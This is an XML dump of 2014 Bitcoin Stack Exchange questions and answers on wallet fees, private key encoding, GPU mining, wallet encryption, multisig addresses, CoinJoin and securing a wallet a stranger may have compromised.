  <row Id="24776" PostTypeId="2" ParentId="4110" CreationDate="2014-04-21T18:00:49.553" Score="0" Body="&lt;p&gt;I first used Multibit today and got the Insufficient Funds error.&lt;/p&gt;&#xA;&lt;p&gt;The help file says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;I get the error 'Insufficient funds' when I try to send bitcoin&lt;/p&gt;&#xA;&lt;p&gt;What is the symptom ?&lt;/p&gt;&#xA;&lt;p&gt;You try to send some bitcoin but when you press the 'Send' button you get the error 'Insufficient funds' appearing in a dialog box.&lt;/p&gt;&#xA;&lt;p&gt;What does 'Insufficient funds' mean ?&lt;/p&gt;&#xA;&lt;p&gt;In your wallet you can normally only spend bitcoin that have confirmed. This is shown graphically in the '  Transactions' tab when the status icon is no longer empty. If you have unconfirmed transactions you get an 'Available to spend' balance in the MultiBit header. This shows the amount in your wallet that is available to spend. See What does 'available to spend mean ?' for more details.&lt;/p&gt;&#xA;&lt;p&gt;Also, you need to take into account the fee that is added to your transaction. The fee varies according to the size of the transaction but is typically 0.0001 BTC. For instance, if you have 10 BTC in your wallet and the fee is 0.0001 BTC then you can only spend a maximum of 10 - 0.0001 = 9.9999 BTC.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I reduced the amount of bitcoin I wanted to send by 0.0001 and it worked.&lt;/p&gt;&#xA;" OwnerUserId="15380" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-04-21T18:00:49.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24777" PostTypeId="2" ParentId="8318" CreationDate="2014-04-21T18:27:39.517" Score="0" Body="&lt;p&gt;Unfortunately Paypal won't allow direct payment for cryptocurrency.&#xA;If you have no other way of making an online transaction but you have the money, then the safest way is probably to meet someone in person. I would recommend you try local bitcoins, and contact someone in your area. I have met with a handful of traders in my area through this site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some other methods of earning bitcoins that were not mentioned.&#xA;You can trade for bitcoins. Just join one of the many bitcoin forums and post an ad up that states which area you are from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;a href=&quot;http://www.bitcointrades.com&quot; rel=&quot;nofollow&quot;&gt;http://www.bitcointrades.com&lt;/a&gt; which is quite new, It works like ebay. I put a free ad on there last week and made 2 bitcoins just from an iPhone sale.&lt;/p&gt;&#xA;" OwnerUserId="15379" LastActivityDate="2014-04-21T18:27:39.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24778" PostTypeId="1" CreationDate="2014-04-21T18:46:51.380" Score="0" ViewCount="456" Body="&lt;p&gt;What is the minimum standard for authenticating a bitcoin user. Would it be enough, for instance to verify that someone named &quot;Tom Au&quot; will answer to that name at this email address? Or are more detailed checks required?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; Authentication would mean that I am what I say I am, that I am a human being and not a robot,and that I can do what I purport to be doing (trading Bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a public, or central registry for computer users?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this event, would something as strong as &lt;a href=&quot;http://en.wikipedia.org/wiki/Hash_function&quot; rel=&quot;nofollow&quot;&gt;&quot;hashing&quot;&lt;/a&gt; be needed for data storage and retrieval?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would a &lt;a href=&quot;http://en.wikipedia.org/wiki/Web_of_trust&quot; rel=&quot;nofollow&quot;&gt;web of trust&lt;/a&gt; concept work for the bitcoin community?&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="15143" LastEditDate="2014-04-29T23:39:12.200" LastActivityDate="2014-04-29T23:39:12.200" Title="How does one &quot;authenticate&quot; a bitcoin user?" Tags="|authentication|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24779" PostTypeId="1" AcceptedAnswerId="24782" CreationDate="2014-04-21T21:01:02.960" Score="2" ViewCount="242" Body="&lt;p&gt;Users who confirm or validate others' transactions are performing a public service on the Bitcoin network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to reward such users, perhaps by giving them priority for confirmation of their own transactions?&lt;/p&gt;&#xA;" OwnerUserId="15143" LastEditorUserId="5406" LastEditDate="2015-01-12T23:03:48.843" LastActivityDate="2015-01-12T23:03:48.843" Title="Is there a way of rewarding users who confirm others' transactions?" Tags="|confirmations|mining-reward|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="24780" PostTypeId="1" AcceptedAnswerId="24783" CreationDate="2014-04-21T22:03:01.700" Score="-1" ViewCount="425" Body="&lt;p&gt;I am extemely sorry if this not the right place... but thought I could maybe get some pointers?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, basically, if you look at this:&#xA;&lt;a href=&quot;https://github.com/kyledrake/coinpunk/blob/master/lib/bitcoinjs/eckey.js#L12&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kyledrake/coinpunk/blob/master/lib/bitcoinjs/eckey.js#L12&lt;/a&gt;&#xA;what is that networkTypes for?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also, &lt;a href=&quot;https://github.com/kyledrake/coinpunk/blob/master/lib/bitcoinjs/eckey.js#L47&quot; rel=&quot;nofollow&quot;&gt;https://github.com/kyledrake/coinpunk/blob/master/lib/bitcoinjs/eckey.js#L47&lt;/a&gt; On there, what is it basically is it what the private key usually or basically starts with in the coin? Like does bitcoin just start off their private keys with &quot;L&quot; or &quot;K&quot;? Or is this part of the code not even RELATED to this?&lt;/p&gt;&#xA;" OwnerUserId="15383" LastEditorUserId="1891" LastEditDate="2014-04-28T11:37:20.423" LastActivityDate="2014-04-28T11:37:20.423" Title="CoinPunk questions with private base58 encoded private keys?" Tags="|address|private-key|base58|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24781" PostTypeId="2" ParentId="24778" CreationDate="2014-04-21T23:16:22.757" Score="1" Body="&lt;p&gt;There are different KYC (Know Your Customer) laws in different jurisdictions, but generally it takes information that is difficult or very time consuming to falsify. License/ID scans, utility bills, and SSNs are examples&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Suggesting &quot;hashing&quot; as a KYC solution suggests you do not know what hashing is (unless you were referring to the way a server should store such confidential information). I suggest you use the search function or explore bitcoin wikipedia to learn more.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-21T23:16:22.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24782" PostTypeId="2" ParentId="24779" CreationDate="2014-04-21T23:20:10.097" Score="4" Body="&lt;p&gt;This is the purpose of transaction fees. By mining a block, all transactions hashed in the block are confirmed, and the corresponding transaction fees go to the block discoverer (along with the block reward).&#xA;Right now the block reward dwarfs the transaction fee reward... but there is no downside to including other transactions while mining, so all of the nodes will do it.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastEditorUserId="7144" LastEditDate="2014-04-22T18:08:25.637" LastActivityDate="2014-04-22T18:08:25.637" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24783" PostTypeId="2" ParentId="24780" CreationDate="2014-04-21T23:52:46.870" Score="1" Body="&lt;p&gt;The network byte is the first byte of input to base58 encoder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For uncompressed keys the input is always 1 network byte (0x80) followed by 32-byte secret exponent, followed by a 4-byte checksum. For compressed keys there is an extra byte of 0x01 between the exponent and the checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The prefixes '5', 'K' or 'L' are the result of the aforementioned constraints on the input data. If you plug in all 0x00 or all 0xff in the 32-byte exponent and convert it to base58, you will see that the private key must start with '5H...5K' for uncompressed and 'Kw...L5' for compressed.&lt;/p&gt;&#xA;" OwnerUserId="13751" LastActivityDate="2014-04-21T23:52:46.870" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24784" PostTypeId="1" CreationDate="2014-04-22T00:39:55.903" Score="0" ViewCount="74" Body="&lt;p&gt;I've heard a few prominent bitcoiners (Andreeseen, ppl from BitPay) say that currencies such as US Dollars can be &quot;issued&quot; over the bitcoin network. I'm not exactly sure how this is possible, and I don't think this has to do with the exchange rate necessarily. Can someone explain?&lt;/p&gt;&#xA;" OwnerUserId="15384" LastActivityDate="2014-04-22T13:33:36.090" Title="How can other currencies be &quot;issued&quot; via Bitcoin?" Tags="|economic-theory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24785" PostTypeId="2" ParentId="24784" CreationDate="2014-04-22T01:50:28.160" Score="0" Body="&lt;p&gt;This could be accomplished with &quot;colored coins&quot;, the idea being that you are transferred a coin that is tagged in some way, and the tag is exchangeable for something else. This can work with many types of contracts, including property ownership, currency futures, etc.&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-04-22T01:50:28.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24786" PostTypeId="2" ParentId="24784" CreationDate="2014-04-22T02:17:44.393" Score="1" Body="&lt;p&gt;If you are quoting correctly, he is 100% incorrect, and he should've consulted an old white man first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;Issuance&quot; as defined by economics and more importantly by law is the creation of a liability by the liable.  The Bitcoin blockchain is not liable for Federal Reserve debts, in this case US Dollar banknotes; further, the Bitcoin blockchain has no power to create a liability owed by the Federal Reserve; therefore, the Bitcoin blockchain has no power to issue US Dollars.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, if it's a slight misquote, that the Federal Reserve could issue USD via a cryptocurrency implementation, that is 100% correct and would be a superior depository management system.  Of course, the Bitcoin code would have to be altered and centralized to provide this functionality, but the point remains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would be superior for central banks to manage deposits with cryptocurrency implementations because the accounting can be made 100% accurate, and the security is bulletproof until the digital signature algorithm is broken.  Costs would plummet, but gov't agencies rarely are concerned with cost...nor revenue for that matter.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2014-04-22T13:33:36.090" LastActivityDate="2014-04-22T13:33:36.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24787" PostTypeId="2" ParentId="11447" CreationDate="2014-04-22T03:25:27.493" Score="1" Body="&lt;p&gt;In GPU scrypt mining, the optimized threshold of lookup gap is 2. It means the GPU only saves 0, 2, 4, ..., etc to GDDR (global memory of GPU) and reduce huge amount of time of saving all 128KB data for one scrypt calculation. However, it needs some GPU cycles to re-compute for the elements if the algorithm needs data in the index of 1, 3, 5, ... And remixing those 1024 elements also takes GPU cycles. In the GPU architecture, the hardware scheduler will help to hide the latency of memory read/write. So, the GPU cycles are not wasted.&#xA;One of the inefficient part is the parallelized processing with conditional code. For a wave-front or stream processor to compute n-dimension at once, not every core needs and computes the values of odd index of elements. So some cores must be masked as off and they are wasted.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (j &amp;amp; 1)&#xA;    salsa(...);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When GPU computes &lt;code&gt;N&lt;/code&gt; elements at once, then every variable &lt;code&gt;j&lt;/code&gt; of different thread could be even or odd. So only the thread which has odd number in &lt;code&gt;j&lt;/code&gt; needs to run the code &lt;code&gt;salsa&lt;/code&gt; first. There is only one shared program counter in the compute unit, so every thread runs the same code. But for those threads that don't need the to do &lt;code&gt;salsa&lt;/code&gt; agin, those processors are being masked off like they are not running and compute the code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, in the GPU programming manual, it tells you the following is inefficient.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (A)&#xA;    B = 0;&#xA;else&#xA;    B = 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then the GPU needs to run the code twice. One is for the true condition and another is for the false condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's better to re-write the code as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;B = A ? 0 : 1;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, in scrypt, salsa is not a simple expression can do like this way.&lt;/p&gt;&#xA;" OwnerUserId="9307" LastActivityDate="2014-04-22T03:25:27.493" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24789" PostTypeId="1" CreationDate="2014-04-22T06:00:35.330" Score="-1" ViewCount="648" Body="&lt;p&gt;I purchased a game script from a guy. I think the same guy is stealing my bitcoins. I need help in stopping him.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The guy also installed the script on my server and set up the bitcoind wallet too. The rpc username and password are set by him himself. I have changed the passwords of my server but not of wallet. Is there a chance that he could have remote access to my wallet on the server? If yes how can I disallow connections to wallet from remote IPs?&lt;/p&gt;&#xA;" OwnerUserId="15387" LastActivityDate="2014-04-22T12:10:36.227" Title="How to stop a hacker stealing my bitcoins?" Tags="|wallet|bitcoind|" AnswerCount="1" CommentCount="2" ClosedDate="2014-04-25T07:17:20.440" ContentLicense="CC BY-SA 3.0" />
  <row Id="24790" PostTypeId="2" ParentId="23866" CreationDate="2014-04-22T06:15:39.497" Score="1" Body="&lt;p&gt;It is trying to acquire a lock on the lockfile in the data directory, which likely fails due to not being supported on the network file system you use to access your NAS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if that could be safely ignored (the lockfile is just there to prevent you from running multiple Bitcoin Core instances on the same directory), it is a warning that more problems exist. In general, running a database on a network filesystem is a bad idea because of lack of support for operations or guarantees that databases require. It would either just not work, be very slow, or get corrupted very easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this is all because of the databases used (blocks/ index/, chainstate/ and wallet.dat). The block data itself is not a database, and could be moved elsewhere. Bitcoin Core does currently not support moving just the block data elsewhere, though.&lt;/p&gt;&#xA;" OwnerUserId="208" LastEditorUserId="208" LastEditDate="2014-07-21T19:13:32.600" LastActivityDate="2014-07-21T19:13:32.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24791" PostTypeId="1" CreationDate="2014-04-22T06:18:35.343" Score="-1" ViewCount="138" Body="&lt;p&gt;Hello greetings to everyone, I am Ravindra Barthwal from India and now i want to mine bitcoins but i don't know where to start even i search many times on google and everything goes away from my mind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have $2000 in hand and a internet connection of 2mbps, having a block chain account so i want to know from you that now i want a asic machine to mine bitcoin. which one is the best under my pocket and how to setup the machine and what othet things will required by me. Please help me .&lt;/p&gt;&#xA;" OwnerUserId="15388" LastActivityDate="2014-04-22T06:48:37.133" Title="I am a newbie in bitcoin and want to mine bitcoins" Tags="|blockchain|mining-pools|asic|" AnswerCount="1" CommentCount="0" ClosedDate="2014-04-25T07:18:07.187" ContentLicense="CC BY-SA 3.0" />
  <row Id="24792" PostTypeId="2" ParentId="24791" CreationDate="2014-04-22T06:48:37.133" Score="1" Body="&lt;p&gt;None of those that I know of and would be profitable are available for that money. I bought a miner from &lt;a href=&quot;https://www.kncminer.com/&quot; rel=&quot;nofollow&quot;&gt;KNCminer&lt;/a&gt; a year ago and it was worth 4700$ shipping included. It is a 280GH/s miner and it is producing about 0.2 Bitcoins/day. Those are 10$/day, visit KNC and check the prices AND availability.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have USB ASIC miners and the like, but I don't think they are profitable at the actual difficulty. I would rather recommend buying 2000$ in bitcoin right now and wait for the raise of price. Then use those coins to buy a miner :-). Bitcoin is in its lower values right now, it may go down a little bit or it may go up, but I think it is a better investment buying bitcoins than buying a miner right now.&lt;/p&gt;&#xA;" OwnerUserId="12249" LastActivityDate="2014-04-22T06:48:37.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24793" PostTypeId="1" CreationDate="2014-04-22T07:49:58.357" Score="1" ViewCount="170" Body="&lt;p&gt;bitcoin-qt creates files under &lt;code&gt;~/.bitcoin/&lt;/code&gt; in my file system. i know that the &lt;code&gt;~/.bitcoin/blocks/blk*dat&lt;/code&gt; files contain the blockchain, but what do the following other files contain:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;~/.bitcoin/blocks/rev*dat&#xA;~/.bitcoin/chainstate/*sst&#xA;~/.bitcoin/blocks/index/*sst&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i know &lt;code&gt;sst&lt;/code&gt; stands for &quot;sorted string table&quot; and i gather these files belong to a leveldb database, but i'd like to know in more detail what is in each of them.&lt;/p&gt;&#xA;" OwnerUserId="2116" LastActivityDate="2015-01-02T10:37:37.220" Title="descriptions of the bitcoin-qt files" Tags="|bitcoind|bitcoin-core|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24794" PostTypeId="1" CreationDate="2014-04-22T08:31:16.240" Score="3" ViewCount="5201" Body="&lt;p&gt;Using the instructions on the debug window, I created a multi signature address as below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addmultisigaddress 2 &quot;[\&quot;Address1\&quot;,\&quot;Address2\&quot;]&quot;&#xA;&#xA;MultiSigAddress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My understanding is that one needs the private keys of Addres1 and Addres2 to be able to spend from MultiSigAddress. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I sent some btc to MultiSigAddress, both Adress1 and Adress2 belong to me and I can go to coin control panel select MultiSigAddress as input. It will send the transaction without any problems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if one of the addresses belonged to someone else? How could I use the funds on MultiSigAddress using Bitcoin Core in that case?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thirdly, the address I created in this case is &lt;strong&gt;2 out of 2&lt;/strong&gt;. What if I wanted to create an address that is &lt;strong&gt;2 out of 3&lt;/strong&gt;? How can I create that using Bitcoin Core? Or is that only possible for multi-sig transactions? &lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2306" LastEditDate="2015-05-12T21:12:51.953" LastActivityDate="2015-05-12T21:12:51.953" Title="How can I use multi signature addresses with Bitcoin Core?" Tags="|bitcoin-core|multi-signature|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24796" PostTypeId="1" CreationDate="2014-04-22T10:10:01.130" Score="0" ViewCount="76" Body="&lt;p&gt;I have Bitcoin daemon running in Amazon AMI, i have some balance in my bitcoin wallet, suppose i re-install os/daemon, is it possible to retrieve those balance what happened to that bitcoin addresses(Is it available in my wallet/all addresses will be lost?)&lt;/p&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-04-22T10:17:00.647" Title="Is it possible to retrieve bitcoin address?" Tags="|bitcoind|address|balance|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24797" PostTypeId="2" ParentId="24796" CreationDate="2014-04-22T10:17:00.647" Score="1" Body="&lt;p&gt;All you need to do is to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/4203/how-can-i-export-the-private-key-for-an-address-from-the-satoshi-client&quot;&gt;extract the private keys&lt;/a&gt; for the addresses that hold any balances into your wallet and then &lt;a href=&quot;https://en.bitcoin.it/wiki/How_to_import_private_keys_v7+&quot; rel=&quot;nofollow noreferrer&quot;&gt;import these keys back to your fresh installation&lt;/a&gt;. &lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2014-04-22T10:17:00.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24799" PostTypeId="1" AcceptedAnswerId="24800" CreationDate="2014-04-22T10:50:26.890" Score="5" ViewCount="6340" Body="&lt;p&gt;Which command should I use to encrypt a previously unencrypted wallet from the command line? &lt;/p&gt;&#xA;" OwnerUserId="4723" LastEditorUserId="2751" LastEditDate="2016-11-04T12:57:29.237" LastActivityDate="2016-11-04T12:57:29.237" Title="How to enable wallet encryption from the command line?" Tags="|wallet|bitcoind|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24800" PostTypeId="2" ParentId="24799" CreationDate="2014-04-22T11:07:40.337" Score="6" Body="&lt;p&gt;The command is: &lt;code&gt;bitcoin-cli encryptwallet mypassphrase&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The list with all commands exposed through bitcoind's RPC API can be found here: &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt; or can be fetched with the command: &lt;code&gt;bitcoin-cli help&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth noting that the &lt;code&gt;encryptwallet&lt;/code&gt; command will not show up in &lt;code&gt;bitcoin-cli help&lt;/code&gt;'s results once your wallet is encrypted, instead you will get three new commands: &lt;code&gt;walletlock&lt;/code&gt;,&#xA;&lt;code&gt;walletpassphrase&lt;/code&gt; and &lt;code&gt;walletpassphrasechange&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerDisplayName="user11221" LastActivityDate="2014-04-22T11:07:40.337" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24801" PostTypeId="2" ParentId="24789" CreationDate="2014-04-22T12:10:36.227" Score="1" Body="&lt;p&gt;&lt;strong&gt;For maximum security&lt;/strong&gt;, use maximum paranoia. Assume that any script or wallet he gives you is invasive malware that's intent on stealing your bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create a brand new wallet (on a different machine, that's never had his stuff installed) using the standard client and configuration (not anything that he set up for you), and send any remaining bitcoins from your old wallet to your new one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then delete both the bitcoind wallet and game script, and if in doubt, wipe the computer(s) that had them installed and only reinstall trusted things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a &lt;strong&gt;lower&lt;/strong&gt;, but still reasonable, &lt;strong&gt;level of security/paranoia&lt;/strong&gt;, create a new wallet with a new password and transfer the old wallet's bitcoins to it. It's important to not reuse a possibly-compromised wallet, even with a new password and new addresses, because of the &lt;a href=&quot;https://en.bitcoin.it/wiki/Key_pool&quot; rel=&quot;nofollow&quot;&gt;key pool&lt;/a&gt;. This pool basically means that he's (possibly) already downloaded your private keys, not just for your past addresses, but for your next 100, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if possible, inspect the game script for anything suspicious, or simply stop using it. Or use it only on a computer that cannot access the bitcoins, and in which you never type your wallet password.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In any case, do not use any passwords (RPC, wallet, etc.) or wallets that he gave you, since they could be compromised.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-04-22T12:10:36.227" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24802" PostTypeId="1" CreationDate="2014-04-22T12:45:50.157" Score="0" ViewCount="690" Body="&lt;p&gt;I'm trying to use the &lt;a href=&quot;https://github.com/petertodd/python-bitcoinlib&quot; rel=&quot;nofollow noreferrer&quot;&gt;python-bitcoinlib&lt;/a&gt; in my bitcoin project. I now &lt;a href=&quot;https://bitcoin.stackexchange.com/a/24661/11136&quot;&gt;understand how I can send a payment&lt;/a&gt;, but I can't find anything similar to the getreceivedbyaddress() command I normally used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't it present in the python-bitcoinlib, is there a workaround, or am I simply overlooking something? All tips are welcome!&lt;/p&gt;&#xA;" OwnerUserId="11136" LastEditorUserId="47827" LastEditDate="2022-03-13T15:38:59.327" LastActivityDate="2022-03-13T15:38:59.327" Title="How to getreceivedbyaddress() with the python-bitcoinlib?" Tags="|json-rpc|python|python-bitcoinlib|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24803" PostTypeId="1" CreationDate="2014-04-22T13:19:59.137" Score="0" ViewCount="755" Body="&lt;p&gt;Any bitcoin client used on linux plateform to send bitcoin from address to another one without using blockchain or full node like bitcoind ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="15382" LastActivityDate="2014-04-23T08:23:51.997" Title="Bitcoin client from command line without blockchain" Tags="|client|" AnswerCount="1" CommentCount="1" ClosedDate="2014-04-25T20:43:58.117" ContentLicense="CC BY-SA 3.0" />
  <row Id="24805" PostTypeId="1" CreationDate="2014-04-22T13:52:10.323" Score="0" ViewCount="403" Body="&lt;p&gt;I'm wanting to send a raw TX, but i don't know how to come up with some of the parameters to the commands. What goes into the commands, what commands get used, and how to calculate anything that needs calculating. I know this needs to be done in the bitcoin command-line/console.  &lt;/p&gt;&#xA;" OwnerUserId="15395" LastEditorUserId="1891" LastEditDate="2014-04-28T11:36:47.963" LastActivityDate="2014-04-28T11:36:47.963" Title="how to calculate the inputs to raw transactions?" Tags="|raw-transaction|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24806" PostTypeId="1" CreationDate="2014-04-22T14:58:27.027" Score="2" ViewCount="146" Body="&lt;p&gt;I am writing bachelor thesis. I need to include a graph on &quot;how many shops or companies accepted BTC&quot;. Do you know where I can find historic data or a graph for this?&lt;/p&gt;&#xA;" OwnerUserId="15182" LastEditorUserId="5406" LastEditDate="2014-04-28T22:26:10.060" LastActivityDate="2018-09-01T10:28:13.547" Title="How many shops accepted BTC? Is it somewhere roughly statistics data?" Tags="|raw-data|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24808" PostTypeId="2" ParentId="24128" CreationDate="2014-04-22T16:20:26.497" Score="4" Body="&lt;p&gt;Yes, DarkSend is one specific implementation of CoinJoin, and CoinJoin can implemented directly on top of Bitcoin without a modification of the protocol. So no fork is necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.darkcoin.io/downloads/DarkcoinWhitepaper.pdf&quot; rel=&quot;nofollow&quot; title=&quot;Darkcoin paper&quot;&gt;Darkcoin Whitepaper&lt;/a&gt; does not &#xA;mention anything that would deviate from the CoinJoin idea and thus require a modification of Bitcoin. (However, the paper is not very detailed and I did not look at the source code, so I cannot provide an answer with 100% certainty.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CoinJoin has been &lt;a href=&quot;https://bitcointalk.org/index.php?topic=279249.0&quot; rel=&quot;nofollow&quot; title=&quot;CoinJoin&quot;&gt;originally proposed&lt;/a&gt; by Gregory Maxwell. The main advantage of CoinJoin to avoid that coins can be stolen while mixing them with other users. It does not change Bitcoin, it runs on top of it, i.e., it only provides a special way to create perfectly valid Bitcoin transactions that can be submitted to the network. Of course, users need a special client to participate in the protocol. For users with normal clients, the created transaction is just a normal Bitcoin transaction that appears in the blockchain.&lt;/p&gt;&#xA;" OwnerUserId="11019" LastActivityDate="2014-04-22T16:20:26.497" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24809" PostTypeId="2" ParentId="24805" CreationDate="2014-04-22T16:38:14.530" Score="1" Body="&lt;p&gt;The structure of a transaction is documented in the &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;nofollow&quot;&gt;tx section of the Bitcoin protocol specification&lt;/a&gt;.  To make the inputs, you need to find outputs from previous transactions that have not been spent yet, and you need to write a little &lt;a href=&quot;https://en.bitcoin.it/wiki/Script&quot; rel=&quot;nofollow&quot;&gt;script&lt;/a&gt; to unlock each output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The script that you write will run first, and it will put some data on the stack in the script's execution environment.  Then the script that was embedded into the transaction's output will run, and it will evaluate whether your script supplied the right data.  The scripts of the outputs generally are pretty simple and only follow a couple of standard forms, so if you can recognize which form it is then you should be able to come up with an input script that satisfies it.  You might look at the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/ae7e5d7cebd9466d0c095233c9273e72e88fede1/src/script.cpp#L1414&quot; rel=&quot;nofollow&quot;&gt;isStandard function&lt;/a&gt; in Bitcoin Core to understand what scripts are standard.  The Solver class used there is problably the class that generates an input script for an output script; essentially it solves the puzzle of producing data that will be accepted by the output script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think if you follow the links above and look into it you should be able to figure out what is going on.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastActivityDate="2014-04-22T16:38:14.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24810" PostTypeId="1" AcceptedAnswerId="24811" CreationDate="2014-04-22T16:41:06.607" Score="2" ViewCount="416" Body="&lt;p&gt;How do retail outlets manage the massive price instability?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are they really repricing every second with 25-50% spikes and drops over 24 hours?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How much does it cost to maintain accurate prices?  Most stores I go to have printed prices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please only reply with actual accounts of price instability management by sellers.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-04-22T17:37:02.567" Title="How do goods &amp; services sellers manage price instability?" Tags="|economic-theory|exchange-rate|price-volatility|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
